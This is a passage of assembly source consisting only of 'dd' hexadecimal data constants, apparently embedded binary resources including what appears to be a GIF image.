dd 77DD773Dh, 32067DD7h, 0BA3BF1F2h, 878B25BDh, 80F6471Eh
dd 97E51004h, 0E579BE67h, 7A0400FBh, 8400F3E8h, 0C7ABEB7Ah
dd 0A5EA7AFEh, 0EE7BBE8Fh, 7C3EF7BFh, 0BF17C7F0h, 37CFF27Ch
dd 0D7F47D3Fh, 0EE7DBF57h, 799F879Dh, 0C4710448h, 9A0D929Eh
dd 302B11C7h, 0FF7FA509h, 6007FFh, 2403805h, 780D016h
dd 0FE026044h, 640B815h, 9881D036h, 0E62382B0h, 0A5803F71h
dd 6AB14A4Bh, 21F03D4Ch, 42803305h, 4550AD15h, 42384508h
dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 610C6184h
dd 54360A08h, 0D12E6A21h, 60C81087h, 0C3DC7F8Eh, 62043F87h
dd 44388510h, 88D11622h, 12624447h, 2644B895h, 4D89D136h
dd 0C83987FCh, 0CA1B8420h, 0D1917866h, 40B83B47h, 2B0500Ah
dd 0C5C0B417h, 4638C42Dh, 8CD19632h, 1A634467h, 3646B8D5h
dd 6F8DD1B6h, 0E51C6384h, 0E22FC6B8h, 20A01582h, 0A1DA1805h
dd 0C3AC970Fh, 0DA88FF06h, 48390436h, 90D21642h, 22644487h
dd 4648B915h, 8F91D236h, 25246484h, 0FE0D4919h, 0E0EB06C3h
dd 482D15A3h, 463D7FA9h, 84F0841Fh, 8C716027h, 94C39C63h
dd 2A6544A7h, 564AB955h, 0AF95D2B6h, 652C6584h, 0D65A4B39h
dd 24B396D2h, 0C16031C7h, 22104A89h, 43792C93h, 16FEFA2Ah
dd 0C37C6D8Eh, 6644C798h, 4CB99532h, 99D33666h, 346684CFh
dd 6A4D39A5h, 0D39AD356h, 0FC3846DCh, 0FC378A96h, 84573612h
dd 40C43E4Ch, 23A0530Ah, 4770E51Dh, 4EB9D53Ah, 9DD3B676h
dd 3C6784EFh, 7A4F39E5h, 0F79ED3D6h, 0ED3E67C4h, 0A0748E99h
dd 10A414C3h, 42133783h, 3CC7184h, 4730E31Fh, 50BA1542h
dd 0A1D43686h, 4468850Fh, 8A513A25h, 17A2D456h, 314668C5h
dd 8C79B50Ah, 35020883h, 0D55526D9h, 3E4C749h, 0C568A20Bh
dd 8F11E03Fh, 0A5D4B477h, 4C69852Fh, 9A533A65h, 37A6D4D6h
dd 754E69C5h, 0F69E53BAh, 0F8F0A774h, 81482B47h, 441E9005h
dd 0C798DF07h, 54B5F23Fh, 5CD536A6h, 37C798FFh, 0E2545074h
dd 1843B489h, 0A83E0C64h, 885609C0h, 55FABCCh, 0AC5586Bh
dd 82885A31h, 0C795540Ah, 8F11C20Eh, 0ADD5B6B1h, 0C4AB856Fh
dd 1D8E11E2h, 0FC4895A0h, 17561752h, 2A0FFE73h, 22ABA258h
dd 3E4488E3h, 46B78016h, 0FD846144h, 0AAC56207h, 8C1AB8D8h
dd 0AB389615h, 0E60764Bh, 0B136347Ch, 6318F582h, 0CC581643h
dd 87B34C42h, 0F0C36CB5h, 0CEBA8E61h, 0A98F9C06h, 81241507h
dd 64107C0Ah, 1670015Ch, 0DB25C16Ch, 5A16D178h, 53ADB5B2h
dd 7C0F25E1h, 911242A8h, 15A896Dh, 45795AE9h, 0B5B95984h
dd 0A5CD7216h, 57316CDCh, 6DD5CE59h, 574B2A41h, 0B4E63EBBh
dd 226D498Eh, 750F1148h, 0DFBBC394h, 0C5786F05h, 8800DE1Bh
dd 45E3BCB7h, 9BCF78EFh, 0F7B6F65Eh, 0EF45EBBBh, 5EEBE179h
dd 0BED7D6FAh, 3AAF0DF7h, 440A41E2h, 0F7215700h, 943381D8h
dd 14718EAAh, 4607C0D8h, 0BC158270h, 0B82400E0h, 0F0860BC1h
dd 613C2183h, 0C258170Ah, 84F08E15h, 0E618C2Fh, 0FAC17877h
dd 4A3387FDh, 5EBC49ABh, 0A419A490h, 0E1482142h, 0C364728Eh
dd 71862FC5h, 0E31C658Ch, 0B8C800FEh, 0B1B8D9C6h, 0E35C6F8Bh
dd 2258E888h, 8F71E62Fh, 21E3FC81h, 46C7D90Bh, 618F322Eh
dd 0D31D63BCh, 2638C9D8h, 7CA18E32h, 39571CE4h, 0F1CE41CAh
dd 65BCB58Ch, 1393A317h, 426FF07Ah, 7F8C9C00h, 0D81C63B8h
dd 0D59A7340h, 0B73666BCh, 7001CDB9h, 22399A73h, 4486C67h
dd 738673CDh, 111CEB9Dh, 0CF79F73Ah, 9E73667Ch, 3CE6BD03h
dd 87CEF9CFh, 0F9E33A6h, 0F339676Dh, 8671D059h, 31B1A474h
dd 23FC770Eh, 8FF62319h, 0D7A44D55h, 0F5568B7h, 35B160A2h
dd 526A3D44h, 0A5D4DA97h, 53A9800Eh, 8B558D6Dh, 1911D57Ah
dd 0ED59AB75h, 9ABF56EAh, 0B58EB6D4h, 0EAAD6FABh, 0D71AF75Ch
dd 0ACB5CEBDh, 5DEB5D5Fh, 0BAD8DACFh, 4FB13566h, 8F666CBDh
dd 90969D1Ah, 52119843h, 0A3181D8Fh, 5A68E1CCh, 0EDBDB5B6h
dd 0DB600467h, 0B81986DEh, 97EE1223h, 0E5DBBB81h, 63B8B736h
dd 0FE726EA6h, 0EEDCCCCBh
dd 0D9BBF786h, 0B772EF2Dh, 3EF5DC7Bh, 0BDB9BA37h, 0A3876E6Fh
dd 0F4C0C6D2h, 22ED3537h, 1F25BB4Eh, 25839054h, 688DD1DAh
dd 0FE1DC34h, 21C47887h, 3800D9CEh, 6F16E2BCh, 2E33C5F8h
dd 0A3478D71h, 38F718E3h, 0F1FE1FC7h, 0E41C6F90h, 0C6B92717h
dd 93723E51h, 25E59CB7h, 49C77937h, 4B9A712Eh, 90ED1BBCh
dd 7DA41A04h, 0BB5B0010h, 5968DF1Dh, 743E85D0h, 0E8DD17A2h
dd 0CB7A3001h, 0A5F41E90h, 4FE95D2Fh, 9DD3BA87h, 53A174D1h
dd 0A744E99Dh, 5EA7D5B8h, 5D4BAB74h, 7ADF5AEBh, 749EA1D8h
dd 65BD97B2h, 3FC768DFh, 0DDD5E00h, 546DC0Dh, 0D75F0B6Fh
dd 707608C0h, 0C7771983h, 0BEF5DE7Bh, 8007BD77h, 3BF777EFh
dd 781F03DEh, 0F09DF3C0h, 473C38CCh, 0C4787F04h, 84EF7607h
dd 11E17C4Fh, 3C178FFh, 0CF93F1DEh, 2EFA447Bh, 0FE47C979h
dd 3D079FEFh, 881D837h, 35FE539Dh, 0C6083B1Fh, 0D81D43Fh
dd 0F5DEB5BAh, 0DD000B5Ah, 0D9B5BF62h, 0B7F61ECFh, 93EDBDC7h
dd 0D5AE7B51h, 0D35EB03Eh, 0AF6CD77Dh, 0BEE48E7Bh, 3DDFB8F7h
dd 7CBF93F2h, 0F9DEBFE5h, 3A86C35Bh, 808C11FEh, 28BAE6BFh
dd 0D2214346h, 74668D91h, 7DFFBDFh, 1FC1F87Fh, 9F77F100h
dd 0FF3FDEFCh, 7E2FCDF9h, 0FD4337F5h, 0FC3F1FEFh, 0FA7EBFCBh
dd 0ECFD3FD3h, 0F1FA3F77h, 0E888FE1Fh, 6FFEFF3Fh, 0BF9BF6BFh
dd 6CBF0401h, 28418748h, 0BD3896BDh, 6AA2885Eh, 84078620h
dd 0C09408C0h, 0A40A409h, 7C0A800Ch, 40840BC0h, 0CC0D40Dh
dd 0EC0FC0F4h, 0C0E06240h, 0C411C08h, 0BC134114h, 0C0EC10C0h
dd 0FC15412h, 417C13Ch, 0C1341241h, 6241A419h, 0EA1E06A8h
dd 0A90BEA85h, 5EA4E312h, 82A0D69h, 7104183h, 0EFC22402h
dd 44234013h, 0BFABFFC2h, 263FB424h, 1C23C24Ch, 426BFF3Fh
dd 0F9424425h, 0F2C2FE8Bh, 0CC2A3FBBh, 422C25C2h, 41871422h
dd 339D8308h, 1D87D08h, 62070C06h, 543485B0h, 0C36435C3h
dd 37C37436h, 8C36800Ch, 0C3985B43h, 3AC39C34h, 543B43A4h
dd 435C3BC3h, 3D43DC3Eh, 8440437Ch, 44143CC3h, 4043F442h
dd 3443C3ACh, 0C40C3EC4h, 35C47446h, 0F8708624h, 0BB641C87h
dd 0C63EB8C6h, 0F02A0780h, 0BEE04182h, 2842242Eh, 0D3FEBFACh
dd 452427C2h, 0FFC2DBF3h, 93FE400Bh, 453C5142h, 51C54C27h
dd 3C25C004h, 0C4F45045h, 4286CBF0h, 943102C8h, 85E43207h
dd 5E86C07Fh, 14608588h, 0C62461C6h, 63C63462h, 0C61888Ch
dd 465C6100h, 66C60C66h, 9468C67Ch, 858C6846h, 64C68466h
dd 2C6546ACh, 46346A46h, 6B46BC6Ah, 46AC694h, 0C6D469C7h
dd 6E467C6Ch, 5474C63Ch, 5EC60C7h, 5E07F86Ch, 7164C1D0h
dd 3B811F3Bh, 2CC4C8B6h, 245AC4E0h, 0BF745A40h, 8E456BFEh
dd 254290FEh, 1C810894h, 0C82BF448h, 0F245342Bh, 145042CBh
dd 42E48040h, 51482487h, 1C7D4584h, 84186CC0h, 5E2AA45Ch
dd 785EC5F4h, 48EC8EC4h, 9043608Eh, 8C3BC42Ch, 43FC4588h
dd 44C92C3Bh, 0CC370894h, 0C3EC463Ah, 95C41494h, 5438C924h
dd 49A49544h, 3649C48Fh, 8C77C76Ch, 0C1E2AAC7h, 0C8C1F291h
dd 0C82C0780h, 87104402h, 0A4C8A06Eh, 64A5CA54h, 0CA74A6CAh
dd 6EC5ACA7h, 202CC2F8h, 0C5E096AAh, 6186987Eh, 0E4ADC9C8h
dd 0CAF4AECAh, 0AF4B04AFh, 74B0C3C4h, 869861C3h, 4AC7807Eh
dd 0C923153Ch, 0C6313ABh, 2C83107Ah, 0F8578390h, 86506685h
dd 0BCCBC4BBh, 0E4BDCBD4h, 0CBF4BECBh, 0C0CC04BFh, 24C1CC14h
dd 0CC34C2CCh, 66CC24C3h, 405785F8h, 28082C83h, 5F0224ABh
dd 0C06F87A8h, 0CCB3B306h, 0CCCCC4CBh, 0E4CDCCD4h, 0BAACCECCh
dd 0B34CF4CFh, 0A86F86C3h, 28F85F07h, 0FE479AD3h, 0B5C7A92Dh
dd 984207C0h, 83F82402h, 5F85C04Eh, 0B4DA8610h, 0CDC4DBCDh
dd 0DDCDD4DCh, 0F05F8614h, 0CE04DFCDh, 0E1CE14E0h, 0E4DA4E24h
dd 0CE44E3CDh, 0E5CE54E4h, 0DCE6CE64h, 85C4DF4Dh, 2403F84Eh
dd 0B25F0298h, 8508354Ah, 0ED875284h, 0F4EECEE4h, 0CF04EFCEh
dd 0F1CF14F0h, 34F2CF24h, 0CF44F3CFh, 8E4F3CF4h, 54F6CF50h
dd 50A8487h, 0C5CB5035h, 0C8C5C4B8h, 82802022h, 4903D027h
dd 0F4FEA508h, 0D004FFCFh, 0FED01500h, 35028504h, 0D04503D0h
dd 5D05504h, 75018505h, 0D08507D0h, 9D09508h, 2D01D0A5h
dd 83D04950h, 1F028027h, 9CAB23D8h, 6C01B05h, 11875873h
dd 3076875Dh, 0D14513D1h, 15D15514h, 62785165h, 0D18517D1h
dd 18A77D15h, 551AD1A5h, 0D1B519D1h, 1251CD1Ch, 0C073075Dh
dd 85981B06h, 0FA8B7CF9h, 6A0D0B7Ch, 82801C02h, 3583402Ch
dd 7526D260h, 0D28527D2h, 0D2FE9528h, 2AD2A529h, 0C52BD2B5h
dd 0D2D52CD2h, 2CD2E52Dh, 802D0345h, 82681C02h, 7A88522Ah
dd 0A0220770h, 9BE87682h, 0D21E007Ch, 8537D371h, 0D3653753h
dd 3AD3A539h, 0C07E53A5h, 0D3D53CD3h, 3B53D53Dh, 0F181D365h
dd 0D3A540D3h, 42D4107Fh, 4543D435h, 0D45544D4h, 7687BD45h
dd 702202A0h, 0B4C9A907h, 0B72ABC9Fh, 7078CFA4h, 82E83804h
dd 4ED4E022h, 0E54FD4F5h, 0D5001FD4h, 52D52551h, 4553D535h
dd 0D55554D5h, 56D56555h, 6D51555Dh, 3802ED5h, 8398C047h
dd 49FD2B60h, 0D5D04C05h, 5ED5E55Dh, 55FD5F5h, 0D61560D6h
dd 62D62561h, 4563D635h, 0D65564D6h, 25854D65h, 42A50470h
dd 34DD4A4Dh, 7BAACD4Bh, 302603F0h, 0D6D56C82h, 2356E56Dh
dd 56E81E0h, 0D71570D7h, 72D72571h, 4573D735h, 575574D7h
dd 74D6FD74h, 203F0265h, 96D491Dh, 189D4D42h, 0E0170170h
dd 9DCD7C9Dh, 0D7E5FE7Bh, 7FD7F57Eh, 1580D805h, 0D7D581D8h
dd 0D9D83582h, 0E0671DF1h, 0CD49BD07h, 21D6A130h, 307D07ADh
dd 34906D87h, 6A869335h, 0D58CD8C0h, 0D8E58DD8h, 8FD8F58Eh
dd 1590D905h, 0D92591D9h, 93D93592h, 4D91D8BDh, 87306DB3h
dd 9657907Dh, 0C21F0788h, 85E86306h, 60D9A860h, 0D59CD9C0h
dd 0D9C59DD9h, 9FD9F061h, 15A0DA05h, 0DA25A1DAh, 0A385F061h
dd 55A4DA45h, 85EDA45Ah, 0A7DA75A6h, 0E5A75A85h, 0D9DDA9D9h
dd 0B25AB1B8h, 55ACBE79h, 86C1B01Bh, 0E1081877h, 7934D869h
dd 87A8C5D8h, 0B3DB32D0h, 0C98E5B45h, 88320A1Bh, 0B4981082h
dd 95B8DB85h, 18B1825Bh, 695B0165h, 1DB1B825h, 0DBE2E8D2h
dd 67DBF5BEh, 35BF9321h, 5220EA97h, 0C3DC1176h, 97CDC45h
dd 170DC4DCh, 385B0DC2h, 9162DBD1h, 0DC294C5Ch, 4B5CB5C9h
dd 0D5CBDCA9h, 0DCC9445Ch, 3DDCF5CDh, 15CFDCE9h, 0DD09395Dh
dd 0DD35D1FEh, 0D3DD2932h, 492BDD55h, 0DD75D5DDh, 3BDC7933h
dd 0A5D7CA09h, 5D8DD45Dh, 0DADD993Fh, 0BDD65DD5h, 6A100DDh
dd 7A87C864h, 25DDDB60h, 8789215Eh, 6407C87Ah, 315486A0h
dd 86A06F0Fh, 0E25E0865h, 0A5E9DC62h, 0DEB5EADEh, 0ECDEC5EBh
dd 40795BF5h, 6A065DEh, 6F17E86Fh, 0E06586B8h, 0D97DE087h
dd 20DF45E2h, 0E07C9949h, 6B86587h, 6F150DF0h, 653C0A70h
dd 0DFB227D3h, 0FCDFC5FBh, 0E5FDDFD5h, 0DFF5FEDFh, 0E005FFh
dd 2601E016h, 603602E0h, 3C536225h, 8DF80A35h, 865DF1DFh
dd 88640A7h, 0A609E096h, 0E0B60AE0h, 0CE0C60Bh, 0E60DE0D6h
dd 0E0F60EE0h, 10E1060Fh, 2611E116h, 0E13612E1h, 14E14613h
dd 6615E156h, 0E17616E1h, 0F7607E0Eh, 0D5F0E065h, 0E1B06A06h
dd 1CE1C618h, 0E61DE1D6h, 0E1F61EE1h, 20E2061Fh, 2621E216h
dd 0E23622E2h, 24E24623h, 6625E256h, 0C47626E2h, 0E28627E2h
dd 29E29628h, 5E1B6226h
dd 17EE19DEh, 0F95F9070h, 0F62E86D5h, 0E3062FE2h, 31E31630h
dd 3632E326h, 0E34633E3h, 35E35634h, 7636E366h, 0E38637E3h
dd 39E39638h, 0B63AE3A6h, 0E3C63BE3h, 34E3D63Ch, 0F62CE2DEh
dd 0E4063FE3h, 41E41640h, 3642E426h, 0E44643E4h, 45E45644h
dd 7646E466h, 0E48647E4h, 49E49648h, 0B64AE4A6h, 0E4C64BE4h
dd 4DE4D64Ch, 0F64EE4E6h, 0E5064FE4h, 51E51650h, 3652E526h
dd 0E54653E5h, 55E55654h, 7656E566h, 0E58657E5h, 59E59658h
dd 0B65AE5A6h, 0E5C65BE5h, 5DE5D65Ch, 0F65EE5E6h, 0E6065FE5h
dd 61E61660h, 3662E626h, 0E64663E6h, 65E65664h, 7666E666h
dd 808A466h, 3B00h, 0
dd 38464947h, 21D6137h, 0E700F4h, 10000h, 1000200h, 4000004h
dd 9050007h, 20A0700h, 0B040C08h, 0F0C060Eh, 9100E07h
dd 100A110Fh, 13110C12h, 0D15130Eh, 160F1B15h, 1F1A0C1Ch
dd 0F201B0Eh, 1F11211Dh, 25201324h, 15262114h, 24172722h
dd 2B271929h, 1C312816h, 2C1A2E29h, 372E1C35h, 213A311Fh
dd 35233C33h, 4137253Eh, 2A423927h, 3D23453Bh, 4D3F2046h
dd 24483F26h, 46275043h, 57492B53h, 2F594C2Dh, 50325B4Eh
dd 6053345Eh, 34625536h, 59356A57h, 6D5A376Ch, 3C705D39h
dd 6235725Fh, 75623E74h, 3A766538h, 693D7967h, 7D6B3E7Bh
dd 417E6C3Fh, 6F427F6Dh, 82704381h, 41847245h, 74478B74h
dd 8C754286h, 468E7644h, 725F8F78h, 89745989h, 498A755Ah
dd 7C4A927Bh, 957E4C94h, 4E8F7A5Fh, 814F9780h, 9A825198h
dd 52947E63h, 8A339C84h, 9E8654CAh, 5597806Dh, 826B9F87h
dd 677C9093h, 3FA18957h, 8758BC8Fh, 0A38B59CBh, 54B8913Eh
dd 8576AA8Ch, 0A58D5B97h, 57A68F54h, 8872AC8Eh, 0DB8A5699h
dd 73AD8F58h, 92509A89h, 0AE9059AEh, 5BFF9141h, 9553B092h
dd 0B2945DB1h, 7EB39755h, 8F789F8Dh, 0A79468A0h, 52FF9646h
dd 9957FE93h, 0B69A58B5h, 5ABC995Bh, 937BB89Ch, 0F69854B0h
dd 7EB99D5Ch, 9778A695h, 0BA9E5DA7h, 86A7967Fh, 9F5EA895h
dd 0BDA05FBCh, 50FF9B5Ah, 0A160FF9Eh, 0AA9982BEh, 69C8997Ch
dd 9C66E89Ch, 0BAA270FCh, 8DFFA160h, 9D91AF9Ch, 0D7A27FAAh
dd 97FEA56Dh, 0A965B0A2h, 0C9A97BFFh, 9AFFAA66h, 0AF7AB3A6h
dd 0FFAC72C1h, 9EBAADA1h, 0B280CDADh, 0CEB098FFh, 0A7C8AEA3h
dd 0BA6FB7AFh, 0DDB393FEh, 94C5B78Fh, 0B58BDEB5h, 0C1B3A8FEh
dd 8EFFB984h, 0BA96FEBCh, 0C3BBB2FEh, 0B5FFBF91h, 0C1A5C5BDh
dd 0FFC39BE6h, 0A4F7C7A2h, 0C6A9FDC6h, 0CDC5BDF7h, 0BFCFC6BEh
dd 0CAA8D0C7h, 0FDCE9FFFh, 0A7FCCAADh, 0CAC1FDCDh, 0FECCB0D2h
dd 0B8FFCFB2h, 0D0C8FCD0h, 0FFD2BAD8h, 0CCFFD6B5h, 0D5C2DDD5h
dd 0FDD8BCFCh, 0B7F8DBBAh, 0D8CFFFDCh, 0DBD9D4E0h, 0D2FFDAC6h
dd 0DACBE2DAh, 0FCDCC5FCh, 0D4E4DBD3h, 0DDD8E5DCh, 0E8DFD7E0h
dd 0C7E2DFDAh, 0E0DBFBE3h, 0FBE2CEE3h, 0D9E9E1D8h, 0E3DDEAE2h
dd 0FFE7CBE5h, 0CFE6E4DFh, 0E4DCFAE7h, 0FAE6D6FAh, 0E1E8E5E0h
dd 0E4EAE9E6h, 0F5E5E1E3h, 0DFDDE4EDh, 0E7E2F0E7h, 0F6E6E2EAh
dd 0E3F6E8DCh, 0E7E3EBE8h, 0ECE9E4F7h, 0E5F8E8E4h, 0ECE0EDEAh
dd 0EEECE6FAh, 0E7F5EBEAh, 0F0DCEFEDh, 0F7EEE5FDh, 0E4F2EFEAh
dd 0F3DFFFF1h, 0FAF1E9FFh, 0EDF4F1ECh, 0F1F0F5F2h, 0F6F3EEFBh
dd 0F1F7F5EFh, 0F6F9F9F7h, 0FBF8F3FBh, 0F7FCF9F4h, 0F8FAF6F9h
dd 0FDFAF5FCh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h, 0FBFFFDF7h
dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh, 2CFCh
dd 21D0000h, 80000F4h, 89D00FEh, 20B0481Ch, 0B44E2D41h
dd 0B0C32168h, 688643A1h, 489C4A22h, 8B9C6231h, 0DC6A3318h
dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5192730Fh, 0CFA0D098h
dd 2A79039Fh, 61B0A85Ch, 90688851h, 512A5CDEh, 50A7D3A6h
dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30E2688h, 1A915FAFh
dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
dd 0BF7DC3E1h, 91B3E49Eh, 8E3E5631h, 38C6469Dh, 0BDE42AB9h
dd 0D1C72B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E64B0E2h
dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
dd 411F2028h, 0C08070h, 8410740Ah, 0D834017Fh, 0C41200E0h
dd 0CE0B1C90h, 105B9851h, 80D00C14h, 0D0D5B60Bh, 481100C0h
dd 20879B58h, 0DD9088Ah, 0C180040Fh, 0E005E512h, 0B87C859Bh
dd 0FC8C9F98h, 8DE038D1h, 8357AA38h, 0B1BC4205h, 3C3A19C7h
dd 367F4330h, 484A1E2h, 0A3671830h, 0D119B992h, 2C781481h
dd 7C924111h, 11811160h, 80B11875h, 89599010h, 0F25C96A5h
dd 4E0503D1h, 74581E0h, 0E4B79058h, 0E8E66B6Dh, 0C6709BE6h
dd 63031B69h, 284E6DCh, 0C4A6E244h, 0D7364C03h, 0D46605A6h
dd 900344C6h, 88C390ADh, 287A1427h, 0CA243564h, 0F2610607h
dd 0E2A384A1h, 0A59B59B5h, 0E9AA6672h, 0A015F8A6h, 0EC016F44h
dd 5C8400F0h, 6D816132h, 40B04455h, 0D006559Dh, 61FE6405h
dd 0C190030h, 80600C11h, 0D8C6AF07h, 40150203h, 200483F6h
dd 9ADB90F6h, 0C018C875h, 0B1F2BDAEh, 44010443h, 0E8C6C20h
dd 0B3AC0AFAh, 40C0C5B6h, 1541900h, 0E1BE836Dh, 17640031h
dd 14990B68h, 2E2B8014h, 5642E41Fh, 0D5B51D40h, 0BF6E4111h
dd 1E07CB06h, 6ED19C0Ch, 41F07804h, 42B8ADABh, 2E6DAC66h
dd 6DB0183Ah, 6CFB36CBh, 3006418Ch, 0D1B60EC0h, 0EE642F6Bh
dd 0B52F1BE6h, 0ECAB22FEh, 0B0180100h, 12FE1381h, 8C52CCCh
dd 6DF0B8A7h, 2AE976ABh, 5BEAB2ACh, 1EB9ADEBh, 0AC86BCBh
dd 0A5E31C33h, 590C8F09h, 403EC010h, 0F69CA603h, 0A0D1FACh
dd 0C65BA0E8h, 0C411D43Ah, 90522C02h, 7428ACE6h, 2C6403C0h
dd 6402D020h, 87C0783Ah, 41EED90Bh, 0F81B0A06h, 4C1BC21Bh
dd 28481F0h, 421D441h, 0B6E04803h, 78121226h, 3E1F360Dh
dd 0D1842028h, 31D1180Ah, 7D976364h, 7CDAFE76h, 1D44E904h
dd 0F33DB430h, 9E08586Fh, 0C190BB00h, 87640081h, 6438A6D7h
dd 47CE2003h, 96E0061Dh, 0F368D9B7h, 27870281h, 0D67570A2h
dd 0B83D775Bh, 0DDEFF8Dh, 0DB74DCB7h, 0DA06231Dh, 6DADF0EEh
dd 8376D79Bh, 0EDEF97E7h, 0C323D876h, 83BBC321h, 10773E9Fh
dd 0FACBFB75h, 0D39B7C5h, 5B54D4B5h, 5A15758Dh, 0EAFB7D73h
dd 0A34EBFADh, 0B643D18Ah, 0F47596C4h, 3ECF0060h, 0D5F6F77h
dd 0C2302C06h, 0EA7C420Ch, 7C3589AFh, 1C8C2FA0h, 0A42C108h
dd 3904190h, 30A59004h, 0B45203F5h, 61BF805Bh, 0D41E643h
dd 0D581C1B5h, 379B64D8h, 42020104h, 0F8FF518Bh, 8C1B8170h
dd 0FBA60388h, 0B807005Fh, 0A5D8381h, 81902C38h, 24B6EEE9h
dd 7CC05519h, 4935B70h, 74402321h, 1C5C09F1h, 38FE9FC3h
dd 0D1D33008h, 0F40F81A8h, 68368B17h, 805CDAC2h, 43E42363h
dd 0A9781509h, 5C105D48h, 14640EFEh, 0C3346304h, 7E0D41DEh
dd 0FD1F907Ch, 3E3F60F8h, 0FB6210A8h, 7F0CA1E3h, 0CA22BD38h
dd 84000428h, 0C7BCCECCh, 1D4FEC5h, 404A8D09h, 188200h
dd 0CE1F156h, 0B9434A78h, 3C00A726h, 476BA104h, 0D20483E2h
dd 0C13081A6h, 48410841h, 25FCB301h, 0A1A404B9h, 80486936h
dd 809604DAh, 52E0F80Dh, 0C3C01B92h, 0DEB8B8CEh, 829011F9h
dd 0FE0203E4h, 60DF4048h, 1C468061h, 0B073255Dh, 1E02C01h
dd 0D3581709h, 48132123h, 592A9570h, 1E63B87Ch, 2A49A8F7h
dd 8A0F90FEh, 1A19CDACh, 0D17C8019h, 64A78190h, 50F9251Ch
dd 0CE4918CAh, 1801B04h, 4B195E96h, 5FD2CCC8h, 1BE4CCB6h
dd 39B6D525h, 898EA1F2h, 8D1EA3C3h, 0BA5AB925h, 5C3F9912h
dd 0C0C922C0h, 537A2EBDh, 168703Eh, 87B002EFh, 4641ECDAh
dd 0FDB081Fh
dd 0C58696ACh, 2C43809Dh, 0E1248130h, 202307C0h, 0FE220240h
dd 4A130180h, 71812FE7h, 34392ABh, 73213958h, 93FA174Eh
dd 4DEC2D9Fh, 48B03E1Dh, 0E0E4805h, 0E3A87491h, 1A87C922h
dd 48036A8Ch, 0E9B1CA8h, 91F528CAh, 0BCF58340h, 0C9F73E67h
dd 8EF66BC2h, 0E844E69Ch, 87C7D29Ah, 9FD3F68Fh, 2E85C1Bh
dd 93B1C632h, 50F940Eh, 0DA92E235h, 0F27787C9h, 0CF39E21h
dd 0A9F53E29h, 0CF4E84D2h, 43C537A8h, 54C9BF37h, 58C1A4F7h
dd 0CA4324BBh, 12A8907Ch, 0B7F1164h, 109542F0h, 49DE04C0h
dd 44BC5160h, 19760328h, 6D95050h, 65A4DB01h, 1B9AC66Dh
dd 96F59003h, 2C131B6h, 0DAC9D0F9h, 90030160h, 0F0976BA9h
dd 2C231B8Ah, 4D6F4E71h, 30BC021Ch, 157CC849h, 51A3A590h
dd 1B585CB1h, 0C86D6B4h, 0E3A57D6Ah, 3E585B06h, 0B96D55B0h
dd 4E0C02C1h, 42C72348h, 5C1BB206h, 8AB55613h, 157AAE05h
dd 0AD0D4FACh, 0A32B2551h, 0CD22C04h, 0AAFE6D4Bh, 8093C56Ch
dd 0DE1F2B9h, 0E000B82h, 82025446h, 6509003Eh, 46084C84h
dd 583E57C0h, 0E02303C0h, 80726D63h, 910410D0h, 5C104E0Fh
dd 190ACB42h, 0A2B1640Eh, 7391A3A2h, 0C85D136Bh, 416064h
dd 42198DBDh, 0B8C84200h, 5837B9E0h, 0ABD17981h, 60783E5Eh
dd 81687C69h, 5DB36EFAh, 321774C8h, 8411823h, 0C4DCB910h
dd 0FC0946D6h, 477591A4h, 0DAE9DD94h, 15FBBF26h, 8BEF73EEh
dd 980E7E29h, 0AC960551h, 9B5B8970h, 97D726E3h, 49AD55FDh
dd 0F990749h, 0B3B637A0h, 6277710Dh, 781A80D0h, 50750F01h
dd 0E07E07C2h, 0E1E1B92Fh, 57380D07h, 46B0180Ah, 4860057Dh
dd 48000AB3h, 34828033h, 6206E1BCh, 7CF5E0DCh, 54270750h
dd 0E12B9E0h, 2C5C10AFh, 9840484h, 2E05001h, 0E45C861Fh
dd 7264323h, 1D42C012h, 28382066h, 4836D94Bh, 64B9C0A8h
dd 0E0240149h, 0F80F08C1h, 0CA19FEF2h, 0C334E67Ch, 0A85E03EAh
dd 8B7E0F83h, 0F91B2A1Bh, 846B9h, 63C0F978h, 74B9031Fh
dd 5828323h, 0DEE5E464h, 7808592Dh, 38987268h, 0D73D57DCh
dd 3656CEC6h, 406404A2h, 0EE99D74Fh, 0B27689D0h, 83036D86h
dd 0D3A6D71Bh, 8FF1EE3Bh, 0D5D3AC83h, 0F09D86Ah, 4192F440h
dd 3B56E22Ch, 501C07C7h, 0C01000C0h, 0A8C5D501h, 0C0D53305h
dd 10AB5Ch, 8C6D415h, 18E5D803h, 2E433002h, 500606Ch, 100F40C8h
dd 3560370Ah, 0C60644C0h, 50746DACh, 6D3C08ABh, 0A2880656h
dd 6D0D9C0Fh, 37AC818h, 0B64182E2h, 982D736Fh, 101AD52h
dd 75920068h, 77756E80h, 0C0050108h, 0ADB66EA8h, 0D5D36821h
dd 0B646C636h, 0BAE74BB2h, 0D9604000h, 8D9FDED8h, 6BA20DA8h
dd 0A2373A97h, 9FBD0DABh, 6428592Dh, 0DB3100A0h, 0CDADC120h
dd 0BB06BEDAh, 0F62EC336h, 0F00D93B1h, 0E3D49783h, 40A042h
dd 3201EFEh, 0E4FABA8Dh, 0AF14C1ECh, 96F28A6Bh, 5C3ABCBBh
dd 67CBEE90h, 0D54B1E1Eh, 0A02405A1h, 8E77CEB9h, 20C8051Bh
dd 82907B0Dh, 0F3C06806h, 52C747A2h, 0D19C96C9h, 23728E97h
dd 1000C068h, 0A7D32EBAh, 5BAAF54Eh, 0CF58EAFDh, 0CEB7D6BAh
